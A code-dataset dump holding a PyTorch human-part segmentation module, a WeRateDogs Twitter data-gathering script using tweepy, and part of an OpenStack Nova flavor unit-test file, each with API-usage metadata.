{"api_name": "cv2.cvtColor", "line_number": 304, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 304, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 305, "usage_type": "call"}, {"api_name": "cv2.THRESH_OTSU", "line_number": 305, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 316, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 316, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_OTSU", "line_number": 316, "usage_type": "attribute"}, {"api_name": "cv2.connectedComponentsWithStats", "line_number": 319, "usage_type": "call"}, {"api_name": "cv2.CV_32S", "line_number": 319, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 320, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 320, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 321, "usage_type": "call"}, {"api_name": "cv2.connectedComponentsWithStats", "line_number": 322, "usage_type": "call"}, {"api_name": "cv2.CV_32S", "line_number": 322, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 326, "usage_type": "call"}, {"api_name": "pytesseract.pytesseract", "line_number": 331, "usage_type": "attribute"}, {"api_name": "pytesseract.image_to_string", "line_number": 333, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 338, "usage_type": "call"}, {"api_name": "cv2.RETR_TREE", "line_number": 338, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 339, "usage_type": "attribute"}, {"api_name": "cv2.boundingRect", "line_number": 345, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 348, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 377, "usage_type": "call"}, {"api_name": "cv2.connectedComponentsWithStats", "line_number": 378, "usage_type": "call"}, {"api_name": "cv2.CV_32S", "line_number": 378, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 429, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 429, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_OTSU", "line_number": 429, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 430, "usage_type": "call"}, {"api_name": "cv2.RETR_TREE", "line_number": 430, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 430, "usage_type": "attribute"}, {"api_name": "cv2.convexHull", "line_number": 432, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 435, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 436, "usage_type": "call"}, {"api_name": "cv2.fillConvexPoly", "line_number": 436, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 442, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 442, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_OTSU", "line_number": 442, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 446, "usage_type": "call"}, {"api_name": "cv2.RETR_LIST", "line_number": 446, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_NONE", "line_number": 446, "usage_type": "attribute"}, {"api_name": "cv2.boundingRect", "line_number": 449, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 450, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 451, "usage_type": "call"}, {"api_name": "cv2.arcLength", "line_number": 455, "usage_type": "call"}, {"api_name": "cv2.approxPolyDP", "line_number": 456, "usage_type": "call"}, {"api_name": "cv2.boundingRect", "line_number": 457, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 460, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 461, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 462, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 480, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 483, "usage_type": "call"}, {"api_name": "cv2.RETR_TREE", "line_number": 483, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 484, "usage_type": "attribute"}, {"api_name": "cv2.boundingRect", "line_number": 496, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 499, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 500, "usage_type": "call"}, {"api_name": "reconocimientoPlaca.get_hog", "line_number": 622, "usage_type": "call"}, {"api_name": "reconocimientoPlaca.clasificadorCaracteres", "line_number": 623, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 637, "usage_type": "call"}, {"api_name": "reconocimientoPlaca.escalar", "line_number": 643, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 645, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 656, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_DUPLEX", "line_number": 657, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 662, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 663, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 664, "usage_type": "call"}]} {"seq_id": "37852347808", "text": "import torch\nimport torch.nn as nn\nfrom modeling.sync_batchnorm.batchnorm import SynchronizedBatchNorm2d\n\n#######################################\n# main procedure\n#######################################\n\"\"\"\n1. user defines a human SKELETON graph\n2. convert the SKELETON graph into a 'kinematic_graph' with the format like {[[parent_ids], part_id, 'part_name'], ...}\n3. build modules for every human part in the 'kinematic_graph'\n\"\"\"\n\n# Skeleton tree, each entry in a list corresponds to the parts at the same level in the tree\n# (parrent ID, part ID, part name)\n# This skeleton should be ascending order\nSKELETON = [\n [(-1, 0, 'torso')],\n [(0, 1, 'face')],\n [(1, 2, 'hair')],\n [(0, 3, 'left_arm'), (0, 4, 'right_arm')],\n [(3, 5, 'left_hand'), (4, 6, 'right_hand')],\n [(0, 7, 'left_leg'), (0, 8, 'right_leg')],\n [(7, 9, 'left_feet'), (8, 10, 'right_feet')],\n [(-1, 11, 'accessory')]\n]\n\n\nclass _Block_with_one_input(nn.Module):\n \"\"\"Base block class takes one input which comes from the backbone\"\"\"\n\n def __init__(self, input_dim, BatchNorm):\n super(_Block_with_one_input, self).__init__()\n self.conv_block1 = nn.Sequential(nn.Conv2d(input_dim, 256, kernel_size=3, stride=1, padding=1, bias=False),\n BatchNorm(256),\n nn.ReLU(),\n nn.Dropout(0.5))\n self.conv_block2 = nn.Sequential(nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1, bias=False),\n BatchNorm(256),\n nn.ReLU(),\n nn.Dropout(0.1))\n self.conv2 = nn.Conv2d(256, 1, kernel_size=1, stride=1)\n # self.conv3 = nn.Conv2d(1, 48, 1, bias=False)\n self.conv3 = nn.Conv2d(1, 96, 1, bias=False)\n\n self._init_weight()\n\n def forward(self, x):\n # x = self.conv_block1(x)\n # x1 = self.conv_block2(x)\n # x = self.conv3(x1)\n x = self.conv_block1(x)\n x = self.conv_block2(x)\n x = self.conv2(x)\n x1 = self.conv3(x)\n return x, x1\n\n def _init_weight(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n torch.nn.init.kaiming_normal_(m.weight)\n elif isinstance(m, SynchronizedBatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\n\nclass _Block_with_two_input(nn.Module):\n \"\"\"Base block class takes two input, one from the backbone and one from the catenated parents input\"\"\"\n\n def __init__(self, input_dim, BatchNorm):\n super(_Block_with_two_input, self).__init__()\n self.conv_block1 = nn.Sequential(nn.Conv2d(input_dim, 256, kernel_size=3, stride=1, padding=1, bias=False),\n BatchNorm(256),\n nn.ReLU(),\n nn.Dropout(0.5))\n self.conv_block2 = nn.Sequential(nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1, bias=False),\n BatchNorm(256),\n nn.ReLU(),\n nn.Dropout(0.1))\n self.conv2 = nn.Conv2d(256, 1, kernel_size=1, stride=1)\n # self.conv3 = nn.Conv2d(1, 48, 1, bias=False)\n self.conv3 = nn.Conv2d(1, 96, 1, bias=False)\n\n self._init_weight()\n\n def forward(self, x, y):\n x = torch.cat((x, y), dim=1)\n # x = self.conv_block1(x)\n # x1 = self.conv_block2(x)\n # x = self.conv3(x1)\n x = self.conv_block1(x)\n x = self.conv_block2(x)\n x = self.conv2(x)\n x1 = self.conv3(x)\n return x, x1\n\n def _init_weight(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n torch.nn.init.kaiming_normal_(m.weight)\n elif isinstance(m, SynchronizedBatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\n\n# class SPL(nn.Module):\nclass Kinematic_graph(nn.Module):\n def __init__(self, BatchNorm):\n\n super(Kinematic_graph, self).__init__()\n # user input skeleton graph\n self.skeleton = SKELETON\n # kinematic graph, {[[parent_ids], part_id, 'part_name'], ...}\n self.kinematic_graph = dict()\n self._get_kinematic_graph()\n # one module for each human part in kinematic graph\n self.skeleton_blocks = dict()\n\n # build modules for every human part in the 'kinematic graph'\n self.torso = _Block_with_one_input(input_dim=304, BatchNorm=BatchNorm)\n self.face = _Block_with_two_input(input_dim=400, BatchNorm=BatchNorm)\n self.hair = _Block_with_two_input(input_dim=400, BatchNorm=BatchNorm)\n self.left_arm = _Block_with_two_input(input_dim=400, BatchNorm=BatchNorm)\n self.right_arm = _Block_with_two_input(input_dim=400, BatchNorm=BatchNorm)\n self.left_hand = _Block_with_two_input(input_dim=400, BatchNorm=BatchNorm)\n self.right_hand = _Block_with_two_input(input_dim=400, BatchNorm=BatchNorm)\n self.left_leg = _Block_with_two_input(input_dim=400, BatchNorm=BatchNorm)\n self.right_leg = _Block_with_two_input(input_dim=400, BatchNorm=BatchNorm)\n self.left_feet = _Block_with_two_input(input_dim=400, BatchNorm=BatchNorm)\n self.right_feet = _Block_with_two_input(input_dim=400, BatchNorm=BatchNorm)\n self.accessory = _Block_with_one_input(input_dim=304, BatchNorm=BatchNorm)\n self.backgroud = _Block_with_one_input(input_dim=304, BatchNorm=BatchNorm)\n \"\"\"\n for i in range(len(self.kinematic_graph)):\n if self.kinematic_graph[i][0]:\n temp_block = _Block_with_two_input(input_dim=512, BatchNorm=BatchNorm)\n self.skeleton_blocks[self.kinematic_graph[i][1]] = temp_block\n else:\n temp_block = _Block_with_one_input(input_dim=256, BatchNorm=BatchNorm)\n self.skeleton_blocks[self.kinematic_graph[i][1]] = temp_block\n \"\"\"\n self._init_weight()\n\n def forward(self, x):\n \"\"\"Build the forward pass of the kinematic graph by hand, maybe modified to an easier way in the future\"\"\"\n\n torso, torso_mid_level = self.torso(x)\n face, face_mid_level = self.face(x, torso_mid_level)\n hair, hair_mid_level = self.hair(x, face_mid_level)\n left_arm, left_arm_mid_level = self.left_arm(x, torso_mid_level)\n right_arm, right_arm_mid_level = self.right_arm(x, torso_mid_level)\n left_hand, left_hand_mid_level = self.left_hand(x, left_arm_mid_level)\n right_hand, right_hand_mid_level = self.right_hand(x, right_arm_mid_level)\n left_leg, left_leg_mid_level = self.left_leg(x, torso_mid_level)\n right_leg, right_leg_mid_level = self.right_leg(x, torso_mid_level)\n left_feet, left_feet_mid_level = self.left_feet(x, left_leg_mid_level)\n right_feet, right_feet_mid_level = self.right_feet(x, right_leg_mid_level)\n accessory, _ = self.accessory(x)\n background, _ = self.backgroud(x)\n\n \"\"\" Class IDs in occ5000 dataset, not same as the IDs in SKELETON\n background: 0\n hair: 1\n face: 2\n torso: 3\n left_arm: 4\n right_arm: 5\n left_hand: 6\n right_hand: 7\n left_leg: 8\n right_leg: 9\n left_foot: 10\n right_foot: 11\n accessory: 12\n \"\"\"\n return torch.cat((background, hair, face, torso, left_arm, right_arm, left_hand, right_hand,\n left_leg, right_leg, left_feet, right_feet, accessory), dim=1)\n\n def _get_kinematic_graph(self):\n \"\"\"Get kinematic graph, {[[parent_ids], part_id, 'part_name'], ...}\n \"\"\"\n indexed_skeleton = dict()\n for human_parts in self.skeleton:\n for human_part in human_parts:\n parent_list_ = [human_part[0]] if human_part[0] > -1 else []\n # This line makes sure the human par id is same as the list id\n indexed_skeleton[human_part[1]] = [parent_list_, human_part[1], human_part[2]]\n\n def get_all_parents(parent_list, parent_id, tree):\n if parent_id not in parent_list:\n parent_list.append(parent_id)\n for parent in tree[parent_id][0]:\n get_all_parents(parent_list, parent, tree)\n\n # Get kinematic graph with all parent parts, {[[parent_ids], part_id, 'part_name'], ...}\n for i in range(len(indexed_skeleton)):\n human_part = indexed_skeleton[i]\n parent_list = list()\n if len(human_part[0]) > 0:\n get_all_parents(parent_list, human_part[0][0], indexed_skeleton)\n new_human_part = [parent_list, human_part[1], human_part[2]]\n self.kinematic_graph[i] = new_human_part\n\n def _init_weight(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n # n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n # m.weight.data.normal_(0, math.sqrt(2. / n))\n torch.nn.init.kaiming_normal_(m.weight)\n elif isinstance(m, SynchronizedBatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\n\ndef build_kinematic_graph(BatchNorm):\n return Kinematic_graph(BatchNorm)\n\n\nif __name__ == '__main__':\n # from tensorboardX import SummaryWriter\n from torch.utils.tensorboard import SummaryWriter\n\n batchnorm = nn.BatchNorm2d\n writer = SummaryWriter('/home/kidd/Documents/graph')\n kp = build_kinematic_graph(batchnorm)\n input = torch.randn(1, 304, 33, 33)\n writer.add_graph(kp, input)\n writer.close()\n output = kp(input)\n print(output.shape)\n", "repo_name": "jinde-liu/HKSL", "sub_path": "modeling/kinematic_graph.py", "file_name": "kinematic_graph.py", "file_ext": "py", "file_size_in_byte": 10186, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.nn.Module", "line_number": 29, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 34, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 38, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 40, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 42, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 60, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 60, "usage_type": "name"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 61, "usage_type": "attribute"}, {"api_name": "modeling.sync_batchnorm.batchnorm.SynchronizedBatchNorm2d", "line_number": 62, "usage_type": "argument"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 65, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 70, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 75, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 77, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 78, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 81, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 82, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 83, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 85, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 102, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 102, "usage_type": "name"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 103, "usage_type": "attribute"}, {"api_name": "modeling.sync_batchnorm.batchnorm.SynchronizedBatchNorm2d", "line_number": 104, "usage_type": "argument"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 107, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 107, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 113, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 113, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 182, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 212, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 212, "usage_type": "name"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 215, "usage_type": "attribute"}, {"api_name": "modeling.sync_batchnorm.batchnorm.SynchronizedBatchNorm2d", "line_number": 216, "usage_type": "argument"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 219, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 219, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm2d", "line_number": 232, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 232, "usage_type": "name"}, {"api_name": "torch.utils.tensorboard.SummaryWriter", "line_number": 233, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 235, "usage_type": "call"}]} {"seq_id": "72434957052", "text": "# The dataset that will be wrangled (and analyzd and visualizd)\n# is the tweet archive of Twitter user @dog_rates, also known as\n# WeRateDogs. WeRateDogs is a Twitter account that rates people's\n# dogs with a humorous comment about the dog.\n\nimport pandas as pd\nimport numpy as np\nimport requests\nimport os\nimport tweepy\nimport simplejson as json\n\n# Data Gathering\n# Task 1: load data from WeRateDogs Twitter archive\n# in `twitter-archive-enhanced.csv`\narchive_df = pd.read_csv('twitter-archive-enhanced.csv')\n\n# Task 2: download online data (tweet image predictions)\n# using Requests library from URL\nurl = 'https://d17h27t6h515a5.cloudfront.net/topher/2017/August/599fd2ad_image-predictions/image-predictions.tsv'\nr = requests.get(url)\n\nwith open('image_predictions.tsv', mode='wb') as f:\n f.write(r.content)\n\nimage_df = pd.read_csv('image_predictions.tsv', sep='\\t')\n\n# Task 3: query the Twitter API for each tweet's JSON data\n# using Python's Tweepy library and store each tweet's entire\n# set of JSON data in a file called `tweet_json.txt`.\n\n# create an API object\nconsumer_key = 'my_consumer_key'\nconsumer_secret = 'my_consumer_secret'\naccess_token = 'my_access_token'\naccess_secret = 'my_access_secret'\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_secret)\n\napi = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)\n\ntweet_id_list = archive_df['tweet_id']\n\n# Using time module to record the query process\nimport time\nstart = time.time()\n# query API for info\ni = 0\nj = 0\nfor tweet_id in tweet_id_list:\n try:\n status = api.get_status(tweet_id, tweet_mode='extended')\n data = status._json\n with open('tweet_json.txt', 'a') as file:\n json.dump(data, file)\n file.write('\\n')\n print('Tweet ID {} data found!'.format(tweet_id))\n i += 1\n except:\n print('Tweet ID {} data not found!!!'.format(tweet_id))\n j += 1\nend = time.time()\nprint(end-start)\n\n# Read the file `tweet_json.txt` and extract information of interest\ndf_list = []\nwith open('tweet_json.txt') as file:\n for line in file:\n data = json.loads(line)\n tweet_id = str(data['id'])\n retweet_count = data['retweet_count']\n favorite_count = data['favorite_count']\n text = data['full_text']\n df_list.append({'tweet_id': tweet_id, 'retweet_count': retweet_count,\n 'favorite_count': favorite_count, 'text': text})\n\ntweet_json_df = pd.DataFrame(df_list, columns = ['tweet_id', 'retweet_count', 'favorite_count', 'text'])\n", "repo_name": "hangyuanbuaa/WeRateDogs-Tweets-Data-Analysis", "sub_path": "wrangle_act.py", "file_name": "wrangle_act.py", "file_ext": "py", "file_size_in_byte": 2601, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 16, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 21, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 26, "usage_type": "call"}, {"api_name": "tweepy.OAuthHandler", "line_number": 38, "usage_type": "call"}, {"api_name": "tweepy.API", "line_number": 41, "usage_type": "call"}, {"api_name": "time.time", "line_number": 47, "usage_type": "call"}, {"api_name": "simplejson.dump", "line_number": 56, "usage_type": "call"}, {"api_name": "time.time", "line_number": 63, "usage_type": "call"}, {"api_name": "simplejson.loads", "line_number": 70, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 78, "usage_type": "call"}]} {"seq_id": "26356780630", "text": "import mock\n\nfrom nova import db\nfrom nova import exception\nfrom nova.objects import flavor as flavor_obj\nfrom nova.tests.unit.objects import test_objects\n\n\nfake_flavor = {\n 'created_at': None,\n 'updated_at': None,\n 'deleted_at': None,\n 'deleted': 0,\n 'id': 1,\n 'name': 'm1.foo',\n 'memory_mb': 1024,\n 'vcpus': 4,\n 'root_gb': 20,\n 'ephemeral_gb': 0,\n 'flavorid': 'm1.foo',\n 'swap': 0,\n 'rxtx_factor': 1.0,\n 'vcpu_weight': 1,\n 'disabled': False,\n 'is_public': True,\n 'extra_specs': {'foo': 'bar'},\n }\n\n\nclass _TestFlavor(object):\n @staticmethod\n def _compare(test, db, obj):\n for field, value in db.items():\n test.assertEqual(db[field], obj[field])\n\n def test_get_by_id(self):\n with mock.patch.object(db, 'flavor_get') as get:\n get.return_value = fake_flavor\n flavor = flavor_obj.Flavor.get_by_id(self.context, 1)\n self._compare(self, fake_flavor, flavor)\n\n def test_get_by_name(self):\n with mock.patch.object(db, 'flavor_get_by_name') as get_by_name:\n get_by_name.return_value = fake_flavor\n flavor = flavor_obj.Flavor.get_by_name(self.context, 'm1.foo')\n self._compare(self, fake_flavor, flavor)\n\n def test_get_by_flavor_id(self):\n with mock.patch.object(db, 'flavor_get_by_flavor_id') as get_by_id:\n get_by_id.return_value = fake_flavor\n flavor = flavor_obj.Flavor.get_by_flavor_id(self.context,\n 'm1.foo')\n self._compare(self, fake_flavor, flavor)\n\n def test_add_access(self):\n elevated = self.context.elevated()\n flavor = flavor_obj.Flavor(context=elevated, flavorid='123')\n with mock.patch.object(db, 'flavor_access_add') as add:\n flavor.add_access('456')\n add.assert_called_once_with(elevated, '123', '456')\n\n def test_add_access_with_dirty_projects(self):\n flavor = flavor_obj.Flavor(context=self.context, projects=['1'])\n self.assertRaises(exception.ObjectActionError,\n flavor.add_access, '2')\n\n def test_remove_access(self):\n elevated = self.context.elevated()\n flavor = flavor_obj.Flavor(context=elevated, flavorid='123')\n with mock.patch.object(db, 'flavor_access_remove') as remove:\n flavor.remove_access('456')\n remove.assert_called_once_with(elevated, '123', '456')\n\n def test_create(self):\n flavor = flavor_obj.Flavor(context=self.context)\n flavor.name = 'm1.foo'\n flavor.extra_specs = fake_flavor['extra_specs']\n\n with mock.patch.object(db, 'flavor_create') as create:\n create.return_value = fake_flavor\n flavor.create()\n\n self.assertEqual(self.context, flavor._context)\n # NOTE(danms): Orphan this to avoid lazy-loads\n flavor._context = None\n self._compare(self, fake_flavor, flavor)\n\n def test_create_with_projects(self):\n context = self.context.elevated()\n flavor = flavor_obj.Flavor(context=context)\n flavor.name = 'm1.foo'\n flavor.extra_specs = fake_flavor['extra_specs']\n flavor.projects = ['project-1', 'project-2']\n\n db_flavor = dict(fake_flavor, projects=list(flavor.projects))\n\n with mock.patch.multiple(db, flavor_create=mock.DEFAULT,\n flavor_access_get_by_flavor_id=mock.DEFAULT\n ) as methods:\n methods['flavor_create'].return_value = db_flavor\n methods['flavor_access_get_by_flavor_id'].return_value = [\n {'project_id': 'project-1'},\n {'project_id': 'project-2'}]\n flavor.create()\n methods['flavor_create'].assert_called_once_with(\n context,\n {'name': 'm1.foo',\n 'extra_specs': fake_flavor['extra_specs']},\n projects=['project-1', 'project-2'])\n\n self.assertEqual(context, flavor._context)\n # NOTE(danms): Orphan this to avoid lazy-loads\n flavor._context = None\n self._compare(self, fake_flavor, flavor)\n self.assertEqual(['project-1', 'project-2'], flavor.projects)\n\n def test_create_with_id(self):\n flavor = flavor_obj.Flavor(id=123)\n self.assertRaises(exception.ObjectActionError, flavor.create,\n self.context)\n\n @mock.patch('nova.db.flavor_access_add')\n @mock.patch('nova.db.flavor_access_remove')\n @mock.patch('nova.db.flavor_extra_specs_delete')\n @mock.patch('nova.db.flavor_extra_specs_update_or_create')\n def test_save(self, mock_update, mock_delete, mock_remove, mock_add):\n ctxt = self.context.elevated()\n extra_specs = {'key1': 'value1', 'key2': 'value2'}\n projects = ['project-1', 'project-2']\n flavor = flavor_obj.Flavor(context=ctxt, flavorid='foo',\n extra_specs=extra_specs, projects=projects)\n flavor.obj_reset_changes()\n\n # Test deleting an extra_specs key and project\n del flavor.extra_specs['key1']\n del flavor.projects[-1]\n self.assertEqual(set(['extra_specs', 'projects']),\n flavor.obj_what_changed())\n flavor.save()\n self.assertEqual({'key2': 'value2'}, flavor.extra_specs)\n mock_delete.assert_called_once_with(ctxt, 'foo', 'key1')\n self.assertEqual(['project-1'], flavor.projects)\n mock_remove.assert_called_once_with(ctxt, 'foo', 'project-2')\n\n # Test updating an extra_specs key value\n flavor.extra_specs['key2'] = 'foobar'\n self.assertEqual(set(['extra_specs']), flavor.obj_what_changed())\n flavor.save()\n self.assertEqual({'key2': 'foobar'}, flavor.extra_specs)\n mock_update.assert_called_with(ctxt, 'foo', {'key2': 'foobar'})\n\n # Test adding an extra_specs and project\n flavor.extra_specs['key3'] = 'value3'\n flavor.projects.append('project-3')\n self.assertEqual(set(['extra_specs', 'projects']),\n flavor.obj_what_changed())\n flavor.save()\n self.assertEqual({'key2': 'foobar', 'key3': 'value3'},\n flavor.extra_specs)\n mock_update.assert_called_with(ctxt, 'foo', {'key2': 'foobar',\n 'key3': 'value3'})\n self.assertEqual(['project-1', 'project-3'], flavor.projects)\n mock_add.assert_called_once_with(ctxt, 'foo', 'project-3')\n\n @mock.patch('nova.db.flavor_create')\n @mock.patch('nova.db.flavor_extra_specs_delete')\n @mock.patch('nova.db.flavor_extra_specs_update_or_create')\n def test_save_deleted_extra_specs(self, mock_update, mock_delete,\n mock_create):\n mock_create.return_value = dict(fake_flavor,\n extra_specs={'key1': 'value1'})\n ctxt = self.context.elevated()\n flavor = flavor_obj.Flavor(context=ctxt)\n flavor.flavorid = 'test'\n flavor.extra_specs = {'key1': 'value1'}\n flavor.create()\n flavor.extra_specs = {}\n flavor.save()\n mock_delete.assert_called_once_with(ctxt, flavor.flavorid,\n 'key1')\n self.assertFalse(mock_update.called)\n\n def test_save_invalid_fields(self):\n flavor = flavor_obj.Flavor(id=123)\n self.assertRaises(exception.ObjectActionError, flavor.save)\n\n def test_destroy(self):\n flavor = flavor_obj.Flavor(context=self.context, id=123, name='foo')\n with mock.patch.object(db, 'flavor_destroy') as destroy:\n flavor.destroy()\n destroy.assert_called_once_with(self.context, flavor.name)\n\n def test_load_projects(self):\n flavor = flavor_obj.Flavor(context=self.context, flavorid='foo')\n with mock.patch.object(db, 'flavor_access_get_by_flavor_id') as get:\n get.return_value = [{'project_id': 'project-1'}]\n projects = flavor.projects\n\n self.assertEqual(['project-1'], projects)\n self.assertNotIn('projects', flavor.obj_what_changed())\n\n def test_load_anything_else(self):\n flavor = flavor_obj.Flavor()\n self.assertRaises(exception.ObjectActionError,\n getattr, flavor, 'name')\n\n\nclass TestFlavor(test_objects._LocalTest, _TestFlavor):\n pass\n\n\nclass TestFlavorRemote(test_objects._RemoteTest, _TestFlavor):\n pass\n\n\nclass _TestFlavorList(object):\n def test_get_all(self):\n with mock.patch.object(db, 'flavor_get_all') as get_all:\n get_all.return_value = [fake_flavor]\n filters = {'min_memory_mb': 4096}\n flavors = flavor_obj.FlavorList.get_all(self.context,\n inactive=False,\n filters=filters,\n sort_key='id',\n sort_dir='asc')\n self.assertEqual(1, len(flavors))\n _TestFlavor._compare(self, 